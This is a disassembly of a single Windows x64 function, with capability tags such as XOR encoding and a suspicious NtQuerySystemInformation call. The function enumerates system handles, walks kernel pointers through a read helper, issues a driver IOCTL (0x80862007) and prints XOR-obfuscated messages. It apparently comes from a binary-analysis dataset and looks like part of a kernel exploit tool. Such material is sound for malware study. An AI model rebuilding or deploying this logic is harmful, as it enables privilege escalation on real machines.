Function at 0x14004f7e0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Get system information on windows
Make suspicious ntquerysysteminformation call

Disassembly:
mov qword [rsp + 0x20], rbx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x140091010]
xor rax, rsp
mov qword [rbp + 0x40], rax
xor ebx, ebx
lea r9, [rbp - 0x50]
mov r14, rcx
mov dword [rbp - 0x50], ebx
xor r8d, r8d
xor edx, edx
mov edi, ebx
lea ecx, [rbx + 0x40]
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14004f876
nop word [rax + rax]
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov edx, dword [rbp - 0x50]
xor ecx, ecx
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, dword [rbp - 0x50]
lea r9, [rbp - 0x50]
mov rdx, rax
mov ecx, 0x40
mov rdi, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14004f830
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x180], r15
test eax, eax
js 0x14004ff5e
test rdi, rdi
je 0x14004ff74
mov r15, rbx
mov esi, ebx
cmp qword [rdi], rbx
jbe 0x14004f909
mov rax, rbx
nop dword [rax]
nop dword [rax + rax]
lea rax, [rax + rax*4]
movups xmm0, xmmword [rdi + rax*8 + 0x10]
movups xmmword [rbp - 0x70], xmm0
movups xmm0, xmmword [rdi + rax*8 + 0x20]
movups xmmword [rbp - 0x60], xmm0
movsd xmm0, qword [rdi + rax*8 + 0x30]
movsd qword [rbp - 0x10], xmm0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
movups xmm1, xmmword [rbp - 0x70]
mov ecx, eax
movdqa xmm0, xmm1
psrldq xmm0, 8
movq rax, xmm0
cmp rax, rcx
jne 0x14004f8f6
cmp qword [rbp - 0x60], r14
je 0x14004f904
inc esi
mov eax, esi
cmp rax, qword [rdi]
jb 0x14004f8b0
jmp 0x14004ff63
movq r15, xmm1
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15, r15
je 0x14004ff74
lea r8, [r15 + 8]
mov qword [rbp + 0x30], rbx
mov r9d, 8
lea rdx, [rbp + 0x30]
mov rcx, r14
call fcn.14004e2c0
test al, al
je 0x14004febe
mov r8, qword [rbp + 0x30]
test r8, r8
je 0x14004febe
add r8, 8
mov qword [rbp + 0x38], rbx
mov r9d, 8
lea rdx, [rbp + 0x38]
mov rcx, r14
call fcn.14004e2c0
test al, al
je 0x14004fe1e
mov r8, qword [rbp + 0x38]
test r8, r8
je 0x14004fe1e
add r8, 0x28
mov qword [rbp + 0x28], rbx
mov r9d, 8
lea rdx, [rbp + 0x28]
mov rcx, r14
call fcn.14004e2c0
test al, al
je 0x14004fd76
mov r8, qword [rbp + 0x28]
test r8, r8
je 0x14004fd76
xorps xmm0, xmm0
lea rdx, [rbp - 0x48]
add r8, 0x58
mov r9d, reloc.WS2_32.dll_recv
mov rcx, r14
movups xmmword [rbp - 0x48], xmm0
call fcn.14004e2c0
test al, al
je 0x14004fce0
movzx eax, word [rbp - 0x48]
test ax, ax
je 0x14004fce0
mov ecx, eax
mov eax, 2
shr rcx, 1
inc rcx
mul rcx
mov rcx, 0xffffffffffffffff
cmovo rax, rcx
mov rcx, rax
call fcn.140072c08
movzx r8d, word [rbp - 0x48]
xor edx, edx
add r8, 2
mov rcx, rax
mov rdi, rax
call fcn.1400736e4
movzx r9d, word [rbp - 0x48]
mov rdx, rdi
mov r8, qword [rbp - 0x40]
mov rcx, r14
call fcn.14004e2c0
test al, al
jne 0x14004faea
mov dword [rbp - 0x30], 0x41bb41c2
mov ecx, 0x4199
mov dword [rbp - 0x2c], 0x41bc41c6
mov dword [rbp - 0x28], 0x41ff41db
mov dword [rbp - 0x24], 0x41cc41f6
mov dword [rbp - 0x20], 0x41c641c4
mov dword [rbp - 0x1c], 0x41d04183
mov dword [rbp - 0x18], 0x418641ca
mov dword [rbp - 0x14], 0x41cd41d5
mov dword [rbp - 0x10], 0x41ce41c8
mov dword [rbp - 0xc], 0x41c8418b
mov dword [rbp - 8], 0x41c741df
mov dword [rbp - 4], 0x41d541d9
mov dword [rbp], 0x419241c3
mov dword [rbp + 4], 0x41d541dd
mov dword [rbp + 8], 0x41d341d8
mov word [rbp + 0xc], bx
mov byte [rbp + 0xe], 1
nop dword [rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x30], ax
inc rbx
cmp rbx, 0x1e
jb 0x14004fab0
mov byte [rbp + 0xe], 0
lea rdx, [rbp - 0x30]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140055b70
lea rdx, [0x140055d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x14004ff74
mov rax, qword [rbp + 0x28]
mov word [rbp - 0x48], bx
add rax, 0x58
je 0x14004fc1f
mov qword [rsp + 0x38], rbx
lea rcx, [rbp - 0x48]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x30]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x20], rcx
mov qword [rsp + 0x30], rax
mov r9d, 0x28
mov dword [rsp + 0x28], ebx
mov edx, 0x80862007
mov rcx, r14
mov qword [rsp + 0x20], rbx
mov qword [rbp - 0x28], rbx
mov qword [rbp - 0x30], 0x33
mov qword [rbp - reloc.WS2_32.dll_recv], 0x10
mov dword [rbp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
je 0x14004fc1f
mov dword [rbp - 0x30], 0x41b141c2
mov ecx, 0x4199
mov dword [rbp - 0x2c], 0x41bc41c6
mov dword [rbp - 0x28], 0x41f341d0
mov dword [rbp - 0x24], 0x41ce41ca
mov dword [rbp - 0x20], 0x41cd41cd
mov dword [rbp - 0x1c], 0x41c041c2
mov dword [rbp - 0x18], 0x41c241c0
mov dword [rbp - 0x14], 0x41da41e3
mov dword [rbp - 0x10], 0x41dc41c0
mov dword [rbp - 0xc], 0x41de41ce
mov dword [rbp - 8], 0x418e41de
mov dword [rbp - 4], 0x41dc41ec
mov dword [rbp], 0x41d341d4
mov dword [rbp + 4], 0x41d141dd
mov dword [rbp + 8], 0x418c41d1
mov dword [rbp + 0xc], 0x4197
mov byte [rbp + 0x10], 1
nop
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x30], ax
inc rbx
cmp rbx, 0x1f
jb 0x14004fbd0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [rbp - 0x30]
mov byte [rbp + 0x10], 0
call fcn.140055b70
mov rcx, rax
mov rdx, rdi
call fcn.140055b70
lea rdx, [0x140055d50]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, rdi
call fcn.1400727b0
mov al, 1
jmp 0x14004ff76
mov dword [rsp + 0x40], 0x41bb41c2
mov ecx, 0x4199
mov dword [rsp + 0x44], 0x41bc41c6
mov dword [rsp + 0x48], 0x41ff41db
mov dword [rsp + 0x4c], 0x41cc41f6
mov dword [rsp + 0x50], 0x41c641c4
mov dword [rsp + 0x54], 0x41d04183
mov dword [rsp + 0x58], 0x418641ca
mov dword [rsp + 0x5c], 0x41da41d0
mov dword [rsp + 0x60], 0x41de41c0
mov dword [rsp + 0x64], 0x418c41ce
mov dword [rsp + 0x68], 0x41dc41c9
mov dword [rsp + 0x6c], 0x41c641c6
mov dword [rsp + 0x70], 0x41c041d4
mov dword [rsp + 0x74], 0x41da4193
mov dword [rsp + 0x78], 0x41db41d4
mov dword [rsp + 0x7c], 0x419841d2
mov dword [rbp - 0x80], 0x41df41d5
mov dword [rbp - 0x7c], 0x41db41d5
mov dword [rbp - 0x78], 0x41d641c9
mov word [rbp - 0x74], bx
mov byte [rbp - 0x72], 1
lea eax, [rcx + rbx]
xor word [rsp + rbx*2 + 0x40], ax
inc rbx
cmp rbx, 0x26
jb 0x14004fcc1
mov byte [rbp - 0x72], 0
lea rdx, [rsp + 0x40]
jmp 0x14004fac9
mov dword [rbp - 0x30], 0x41bb41c2
mov ecx, 0x4199
mov dword [rbp - 0x2c], 0x41bc41c6
mov dword [rbp - 0x28], 0x41ff41db
mov dword [rbp - 0x24], 0x41cc41f6
mov dword [rbp - 0x20], 0x41c641c4
mov dword [rbp - 0x1c], 0x41d04183
mov dword [rbp - 0x18], 0x418641ca
mov dword [rbp - 0x14], 0x41c141c1
mov dword [rbp - 0x10], 0x41ce41c7
mov dword [rbp - 0xc], 0x41c8418b
mov dword [rbp - 8], 0x41c741df
mov dword [rbp - 4], 0x41d541d9
mov dword [rbp], 0x419241c3
mov dword [rbp + 4], 0x41d541dd
mov dword [rbp + 8], 0x41d341d8
mov word [rbp + 0xc], bx
mov byte [rbp + 0xe], 1
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x30], ax
inc rbx
cmp rbx, 0x1e
jb 0x14004fd60
jmp 0x14004fac1
mov dword [rbp - 0x30], 0x41bb41c2
mov ecx, 0x4199
mov dword [rbp - 0x2c], 0x41bc41c6
mov dword [rbp - 0x28], 0x41ff41db
mov dword [rbp - 0x24], 0x41cc41f6
mov dword [rbp - 0x20], 0x41c641c4
mov dword [rbp - 0x1c], 0x41d04183
mov dword [rbp - 0x18], 0x418641ca
mov dword [rbp - 0x14], 0x41c141c1
mov dword [rbp - 0x10], 0x41ce41c7
mov dword [rbp - 0xc], 0x41c8418b
mov dword [rbp - 8], 0x41c741df
mov dword [rbp - 4], 0x41d541d9
mov dword [rbp], 0x41ed41c3
mov dword [rbp + 4], 0x41d141c0
mov dword [rbp + 8], 0x41c241d6
mov dword [rbp + 0xc], 0x41d741de
mov dword [rbp + 0x10], 0x41d7
mov byte [rbp + 0x14], 1
nop word [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x30], ax
inc rbx
cmp rbx, 0x21
jb 0x14004fe00
mov byte [rbp + 0x14], 0
lea rdx, [rbp - 0x30]
jmp 0x14004fac9
mov dword [rbp - 0x30], 0x41bb41c2
mov ecx, 0x4199
mov dword [rbp - 0x2c], 0x41bc41c6
mov dword [rbp - 0x28], 0x41ff41db
mov dword [rbp - 0x24], 0x41cc41f6
mov dword [rbp - 0x20], 0x41c641c4
mov dword [rbp - 0x1c], 0x41d04183
mov dword [rbp - 0x18], 0x418641ca
mov dword [rbp - 0x14], 0x41c141c1
mov dword [rbp - 0x10], 0x41ce41c7
mov dword [rbp - 0xc], 0x41c8418b
mov dword [rbp - 8], 0x41c741df
mov dword [rbp - 4], 0x41d541d9
mov dword [rbp], 0x41ed41c3
mov dword [rbp + 4], 0x41d641dc
mov dword [rbp + 8], 0x41d341df
mov dword [rbp + 0xc], 0x41cc41d4
mov word [rbp + 0x10], bx
mov byte [rbp + 0x12], 1
nop dword [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x30], ax
inc rbx
cmp rbx, 0x20
jb 0x14004fea0
mov byte [rbp + 0x12], 0
lea rdx, [rbp - 0x30]
jmp 0x14004fac9
mov dword [rbp - 0x30], 0x41bb41c2
mov ecx, 0x4199
mov dword [rbp - 0x2c], 0x41bc41c6
mov dword [rbp - 0x28], 0x41ff41db
mov dword [rbp - 0x24], 0x41cc41f6
mov dword [rbp - 0x20], 0x41c641c4
mov dword [rbp - 0x1c], 0x41d04183
mov dword [rbp - 0x18], 0x418641ca
mov dword [rbp - 0x14], 0x41c141c1
mov dword [rbp - 0x10], 0x41ce41c7
mov dword [rbp - 0xc], 0x41c8418b
mov dword [rbp - 8], 0x41d841c8
mov dword [rbp - 4], 0x41d341c6
mov dword [rbp], 0x41ed41d4
mov dword [rbp + 4], 0x41d641dc
mov dword [rbp + 8], 0x41d341df
mov dword [rbp + 0xc], 0x41cc41d4
mov word [rbp + 0x10], bx
mov byte [rbp + 0x12], 1
nop dword [rax + rax]
lea eax, [rcx + rbx]
xor word [rbp + rbx*2 - 0x30], ax
inc rbx
cmp rbx, 0x20
jb 0x14004ff40
mov byte [rbp + 0x12], 0
lea rdx, [rbp - 0x30]
jmp 0x14004fac9
test rdi, rdi
je 0x14004ff74
mov r8d, 0x8000
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor al, al
mov r15, qword [rsp + 0x180]
mov rsi, qword [rsp + 0x178]
mov rcx, qword [rbp + 0x40]
xor rcx, rsp
call fcn.1400726c0
mov rbx, qword [rsp + 0x188]
add rsp, 0x150
pop r14
pop rdi
pop rbp
ret